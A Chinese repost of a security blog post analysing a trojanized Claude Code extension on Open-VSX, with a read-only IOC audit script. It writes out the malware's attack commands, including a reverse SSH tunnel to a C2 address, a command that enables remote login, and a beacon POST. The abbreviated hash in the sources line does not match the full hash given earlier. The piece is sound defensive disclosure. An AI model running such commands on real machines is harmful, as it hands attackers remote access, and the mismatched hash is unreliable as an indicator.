IT加油站

Claude Code 扩展被植入后门

24浏览 • 11小时前 • 软件教程 • MA125110

原文:https://dev.to/slabb/a-trojanized-claude-code-extension-plants-an-ssh-backdoor-the-7-point-audit-for-your-machine-23cj(作者 @slabb)

今早的供应链投毒事件,成稿时距事发仅两小时:VS Code 扩展 `anthropic.claude-code@2.1.313` 在 Open-VSX 上被植入恶意代码,发布者账号属于一名 Anthropic 员工,恶意版本在合法代码之前插入了一个 66 行的加载器。你不需要和 Claude 聊天,不需要点击任何东西,也不需要批准任何请求:VS Code 启动时加载该扩展,就会执行载荷。它清点你的机器,把一个名为 svc-telemetry 的 SSH 公钥追加到你的 authorized_keys,开启远程登录,向攻击者服务器打开反向隧道,并伪装成 com.apple.sysmond 以 LaunchAgent 形式持久驻留。完整分析已经发布;本文讲清它的机制、列出全部 IOC,并附上我已经在自己机器上跑过的只读审计脚本。每一个 Claude Code、Cursor、Windsurf 或 VS Code 用户今晚都应该跑一遍。

这是本博客本月报道的第四起智能体供应链事件,也是最贴身的一起:LiteLLM 偷走的是你代码运行所用的凭证,Gheist 收割的是你 CI 里保存的密钥,而现在,你的智能体寄身的工具本身成了投放器。防线在不断向内收缩。

加载器逐步做了什么

被篡改的构建与合法版本只有一个文件不同——extension.js,真实代码之前被插入了一个 IIFE(引入 process、fs、os、http、crypto)。没有 npm 生命周期脚本,没有花哨的加壳。然后,在扩展加载时:

  1. 侦察:采集 hostname、username、操作系统与架构、家目录、git 邮箱,以及最多 40 个匹配 `KEY`、`TOKEN`、`SECRET`、`PASS`、`AWS`、`GCP` 的环境变量名。这一阶段只取名字、不取值:先盘点你有什么。
  2. SSH 接入:创建 ~/.ssh(权限 0700),并把一条 Ed25519 公钥(注释为 `svc-telemetry`)追加到 authorized_keys(权限 0600)。指纹:SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk。
  3. 开启远程访问:macOS 上执行 sudo -n systemsetup -setremotelogin on(你的用户若有免密 sudo 就会成功,否则静默失败);Linux 上启用 sshd;Windows 上安装 OpenSSH Server。
  4. 反向隧道:把内置私钥解码到 ${TMPDIR}/.stk_<id>,然后循环执行 ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22',禁用主机密钥校验,每 60 秒重连一次(可用时使用 autossh)。他们的服务器现在可以通过你自己的出站连接,从任何地方访问你的 SSH。
  5. 持久化:macOS LaunchAgent `com.apple.sysmond.plist`(RunAtLoad、KeepAlive),这个名字刻意取成系统守护进程的样子;Linux 的 @reboot crontab;Windows 的计划任务 `SysMon`,以 SYSTEM 身份运行。
  6. 信标:1.5 秒后,从 ifconfig.me 或 api.ipify.org 获取你的公网 IP,并把侦察结果的 JSON POST 到 http://134.209.82.225:8099/beacon。响应被忽略;这个样本里没有发现第二阶段下载器。

发现者是 Dean Hardcastle,他实时目击了整个过程。分析师本身也给出了一条重要的注意事项:被篡改的样本来自 Open-VSX;Microsoft Marketplace 上的副本"出于谨慎"已被下架,目前公开的信息都不能证明 Anthropic 自己的基础设施被攻破。发布者账号是谁,仍是悬而未决的问题。

审计:7 项检查、只读、用退出码说话

这篇稿子发布前,我根据公开的 IOC 写了一个扫描脚本,先在自己机器上跑了一遍。只读:它只检查,从不修改。

#!/bin/sh
# hunt_claude_ext.sh - IOC sweep for trojanized anthropic.claude-code@2.1.313
set -u
FOUND=0
hit()  { FOUND=$((FOUND+1)); echo "[!!] $1"; }
clean(){ echo "[ok] $1"; }

# 1. the SSH backdoor key
grep -q "svc-telemetry" "$HOME/.ssh/authorized_keys" 2>/dev/null \
  && hit "authorized_keys contains the svc-telemetry backdoor key" \
  || clean "authorized_keys has no svc-telemetry key"

# 2. the disguised LaunchAgent
[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
  && hit "rogue LaunchAgent com.apple.sysmond.plist present" \
  || clean "no rogue com.apple.sysmond LaunchAgent"

# 3. marker files
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
  [ -f "$f" ] && hit "marker file $f present"
done
clean "no .smt/.smtk/smt.cmd markers"

# 4. reverse-tunnel key drops
ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
  && hit "tunnel key .stk_* in TMPDIR" || clean "no .stk_* in TMPDIR"

# 5. live tunnel process
pgrep -af ssh 2>/dev/null | grep -Eq "134\.209\.82\.225|-R \*:0:localhost:22" \
  && hit "live ssh process matching the C2 tunnel signature" \
  || clean "no ssh process matching the C2 tunnel"

# 6. the extension itself: hash every installed copy's loader
EXT_HASH="ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
for d in "$HOME/.vscode/extensions"/anthropic.claude-code-* \
         "$HOME/.vscode-server/extensions"/anthropic.claude-code-* \
         "$HOME/.cursor/extensions"/anthropic.claude-code-*; do
  [ -f "$d/extension.js" ] || continue
  [ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$EXT_HASH" ] \
    && hit "$d/extension.js MATCHES the trojan hash"
done
clean "no installed extension.js matching the trojan hash"

# 7. macOS Remote Login unexpectedly on
sudo -n systemsetup -getremotelogin 2>/dev/null | grep -q "On" \
  && echo "[??] Remote Login is ON, verify you enabled it yourself" \
  || clean "Remote Login off"

echo "== $FOUND indicator(s) found =="
[ "$FOUND" -gt 0 ] && exit 1 || exit 0


就在今晚,我在这台敲下这些字的机器上跑了一遍:

[ok] authorized_keys has no svc-telemetry key
[ok] no rogue com.apple.sysmond LaunchAgent
[ok] no .smt/.smtk/smt.cmd markers
[ok] no .stk_* in TMPDIR
[ok] no ssh process matching the C2 tunnel
[ok] no installed extension.js matching the trojan hash
[ok] Remote Login off
== 0 indicator(s) found ==   (exit 0)


一次干净的运行不等于永远健康(被分析的样本只是一个构建版本,攻击者还在持续迭代),但它至少回答了今晚这个问题。只要有任何一项命中:先把这台机器断网,换一台干净的机器去轮换凭据(他们之所以把你的环境变量名列了清单,不是没原因的),保留下这些证据文件,然后重装重建。这台机器有交互式 SSH 访问权,意味着你看到的迹象可能还低估了实际发生的事。

老生常谈的教训:给你运行的东西钉死版本

三点结构性观察,因为这套手法还会再来:

  • Open-VSX 和 Marketplace 分发的是可变内容。 一个发布者账号(这次是 Anthropic 一名员工的,账号是怎么来的仍要打个问号)可以随时替换掉受信任扩展的代码,所有开启自动更新的客户端都会收到。能在一秒内拦住这次攻击的防线是哈希固定(hash pinning),但几乎没人在扩展上做这件事。脚本里的检查 6 就是范式:对所有关键安装物的加载器跑 shasum -a 256,并且在你有意安装时就把结果记录下来。
  • "加载即执行。" 载荷在扩展激活时就跑了,早于你与这个工具的任何一次交互。"我只有主动用它时它才会运行"这套心智模型,在扩展真实的加载机制面前根本不成立。
  • 持久化手段的名字本身就是社会工程学道具。 com.apple.sysmond、SysMon、svc-telemetry:这次攻击里的每一个 IOC 都是为了在随手一次 ls 里隐身而设计的。所以审计脚本核对的是精确的文件名和精确的哈希,而不是凭感觉。

这个月的账本到目前为止是:最流行的 LLM 代理两度被投毒发布、13500 个会倒卖密钥的 CI workflow、后台 agent 的对话记录被原样送进模型,现在又多了一个带 SSH 持久化的木马化 agent 扩展。Agent 本身不是漏洞,围绕它们搭起来的生态才是。

TL;DR:Open-VSX 上的木马化 anthropic.claude-code@2.1.313 在扩展加载时就给机器开了后门:SSH 密钥 svc-telemetry、远程登录被打开、反向隧道连到 134.209.82.225、伪装成 com.apple.sysmond 的 LaunchAgent。上面就是七项只读审计,我的机器:零命中。去跑一遍你自己的,给你安装的东西算哈希;只要有一项命中:换台干净的机器轮换凭据,然后重装重建。

Sources: OpenSourceMalware: Trojanized Claude Code Extension Plants an SSH Backdoor · IOCs: extension.js SHA-256 ecb58cb2…c6bf15, C2 134.209.82.225 (22, 8099), key fingerprint SHA256:0Z6R+…htk

原文:https://dev.to/slabb/a-trojanized-claude-code-extension-plants-an-ssh-backdoor-the-7-point-audit-for-your-machine-23cj(作者 @slabb)

#Claude Code #SSH后门 #VS Code扩展 #供应链安全 #IOC #Open-VSX